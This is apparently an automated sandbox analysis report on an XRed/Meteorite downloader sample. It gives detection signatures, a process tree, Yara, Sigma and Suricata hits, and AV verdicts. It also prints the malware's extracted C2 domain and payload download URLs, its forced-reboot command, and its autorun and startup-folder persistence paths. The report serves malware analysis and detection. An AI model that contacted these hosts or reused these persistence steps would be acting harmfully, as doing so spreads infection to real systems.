Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1583469
MD5:	06303600a3a44eb2fbce248eb0fe9fc1
SHA1:	ccfb720a50808469da5d67eea306d08f51e11538
SHA256:	db69f19879e131fd35e882606148335c6dcb26cbea650d394ba519d76c57bb85
Tags:	exeuser-jstrosch
Infos:

Detection

XRed

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to implement multi-threaded time evasion

Contains functionality to inject threads in other processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Uses dynamic DNS services

Uses shutdown.exe to shutdown or reboot the system

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the program root directory (C:\Program Files)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Shutdown

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2828 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 06303600A3A44EB2FBCE248EB0FE9FC1)

1.exe (PID: 1344 cmdline: "C:\Program Files (x86)\1.exe" 0 MD5: D026CFE00B08DA14B0A8B7F8860887D7)

._cache_1.exe (PID: 3236 cmdline: "C:\Users\user\Desktop\._cache_1.exe" 0 MD5: AED710082D6986C6DCEED09D3A5EDCC6)

Synaptics.exe (PID: 5236 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 00367A9FAA8069389A97267D772563E8)

2.exe (PID: 980 cmdline: "C:\Program Files (x86)\2.exe" 0 MD5: 85A57509DB3E9DFA7B4E451B8243220D)

._cache_2.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\._cache_2.exe" 0 MD5: B7176450AEBB9572B34E875984456AC1)

3.exe (PID: 7288 cmdline: "C:\Program Files (x86)\3.exe" 0 MD5: 1EDB88F9EE745EAAEE2CBD8219318EB0)

4.exe (PID: 7320 cmdline: "C:\Program Files (x86)\4.exe" 0 MD5: 39E7BE73C7531AC895F75834FDC1BCD6)

wic.exe (PID: 7568 cmdline: "C:\Windows\wic.exe" 0 MD5: 6AD65B03E75BC5509BA3104510178EE6)

cmd.exe (PID: 7732 cmdline: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

shutdown.exe (PID: 7792 cmdline: shutdown /r /t 0 MD5: FCDE5AF99B82AE6137FB90C7571D40C3)

EXCEL.EXE (PID: 5296 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 7812 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

cbas.exe (PID: 8072 cmdline: "C:\Windows\cbas.exe" MD5: 9FD7C0ACC95C7F1311BDE279D0B6A03A)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_XRed	Yara detected XRed	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0xb4dc8:$x2: Meteorite Downloader
C:\Program Files (x86)\1.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Program Files (x86)\1.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0xb4dc8:$x2: Meteorite Downloader
C:\ProgramData\Synaptics\RCXF181.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXF181.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Program Files (x86)\2.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Program Files (x86)\2.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 17 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1747294140.0000000000780000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000003.1718137982.00000000020C4000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: 1.exe PID: 1344	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 5236	JoeSecurity_XRed	Yara detected XRed	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.3.Synaptics.exe.20c4000.0.raw.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
0.0.file.exe.400000.0.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x73b4:$x2: Meteorite Downloader
3.3.Synaptics.exe.20c4000.0.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
0.3.file.exe.764011.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0.2.file.exe.400000.0.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x10a8:$x1: MeteoriteDownloader 0x11b7:$x1: MeteoriteDownloader 0x1600:$x1: MeteoriteDownloader 0x11a1:$x2: Meteorite Downloader 0x1618:$x2: Meteorite Downloader 0x73b4:$x2: Meteorite Downloader 0x1618:$x3: Meteorite Downloader v 0x1b08:$s1: regwrite 0x1654:$s2: urlmon 0x1a80:$s3: wscript.shell 0x15f8:$s4: modMain 0x19dc:$s5: VBA6.DLL
3.3.Synaptics.exe.755cc8.1.raw.unpack	MALWARE_Win_Meteorite	Detects Meteorite downloader	ditekSHen	0x17b4:$x2: Meteorite Downloader
1.0.1.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
1.0.1.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", CommandLine: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\wic.exe" 0, ParentImage: C:\Windows\wic.exe, ParentProcessId: 7568, ParentProcessName: wic.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Program Files (x86)\4.exe, ProcessId: 7320, TargetFilename: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Execution of Shutdown

Source: Process started

Author: frack113: Data: Command: shutdown /r /t 0, CommandLine: shutdown /r /t 0, CommandLine|base64offset|contains: v', Image: C:\Windows\SysWOW64\shutdown.exe, NewProcessName: C:\Windows\SysWOW64\shutdown.exe, OriginalFileName: C:\Windows\SysWOW64\shutdown.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "shutdown /r /t 0", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: shutdown /r /t 0, ProcessId: 7792, ProcessName: shutdown.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\1.exe, ProcessId: 1344, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 5236, TargetFilename: C:\Users\user\AppData\Local\Temp\SiyGYB3T.xlsm

Suricata Signatures

ET MALWARE Possible Dridex Download URI Struct with no referer

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:34:49.438746+0100	2021245	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:50.703531+0100	2021245	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:54.702088+0100	2021245	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:55.222987+0100	2021245	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP

ET MALWARE Possible Malicious Macro DL EXE Feb 2016

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:34:49.438746+0100	2022550	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:50.703531+0100	2022550	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:54.702088+0100	2022550	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:55.222987+0100	2022550	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:34:49.438746+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:50.703531+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:54.702088+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:55.222987+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49730	47.254.187.72	80	TCP

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:35:58.898119+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49845	142.250.186.142	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:34:56.526033+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49730	47.254.187.72	80	TCP

ETPRO EXPLOIT Microsoft Windows Shell Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:36:02.093228+0100	2800781	1	Attempted User Privilege Gain	47.254.187.72	80	192.168.2.4	49740	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:34:50.154331+0100	2800029	1	Attempted User Privilege Gain	47.254.187.72	80	192.168.2.4	49730	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:35:00.259871+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	47.254.187.72	80	TCP
2025-01-02T20:35:01.530652+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	47.254.187.72	80	TCP
2025-01-02T20:35:02.093483+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	47.254.187.72	80	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:34:59.703337+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.4	49738	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/Synaptics.rarZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.iniZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll6	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dlh	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\2.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Program Files (x86)\2.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp	Avira: detection malicious, Label: TR/VB.Downloader.Gen
Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Avira: detection malicious, Label: HEUR/AGEN.1315939
Source: C:\Program Files (x86)\1.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Program Files (x86)\1.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Program Files (x86)\3.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Windows\cbas.exe	Avira: detection malicious, Label: HEUR/AGEN.1317762
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	Avira: detection malicious, Label: TR/VB.Downloader.Gen
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXF181.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXF181.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1317762

Found malware configuration

Source: 1.0.1.exe.400000.0.unpack

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\1.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\2.exe	ReversingLabs: Detection: 89%
Source: C:\Program Files (x86)\3.exe	ReversingLabs: Detection: 86%
Source: C:\Program Files (x86)\4.exe	ReversingLabs: Detection: 68%
Source: C:\ProgramData\Synaptics\RCXF181.tmp	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 100%
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	ReversingLabs: Detection: 91%
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	ReversingLabs: Detection: 71%
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wic[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\4[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\._cache_1.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\Documents\~$cache1	ReversingLabs: Detection: 100%
Source: C:\Windows\cbas.exe	ReversingLabs: Detection: 47%
Source: C:\Windows\wic.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 86%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.1% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\1.exe	Joe Sandbox ML: detected
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	Joe Sandbox ML: detected
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\4[1].exe	Joe Sandbox ML: detected
Source: C:\Windows\cbas.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXF181.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\._cache_2.exe	Window detected: (&D)C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe(&W)... (END USER LICENSE AGREEMENT EULA) [] []
Source: C:\Users\user\Desktop\._cache_2.exe	Window detected: 1993-2023 Alexander Roshal(&D)C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe(&W)... (END USER LICENSE AGREEMENT EULA) [] []

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.225:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49876 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 4.exe, 00000009.00000000.1765436856.0000000000D54000.00000002.00000001.01000000.00000010.sdmp, 4.exe, 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmp, 4.exe, 00000009.00000003.1770403788.000000000589A000.00000004.00000020.00020000.00000000.sdmp, 4.exe, 00000009.00000003.1769414165.000000000574D000.00000004.00000020.00020000.00000000.sdmp, 4[1].exe.0.dr
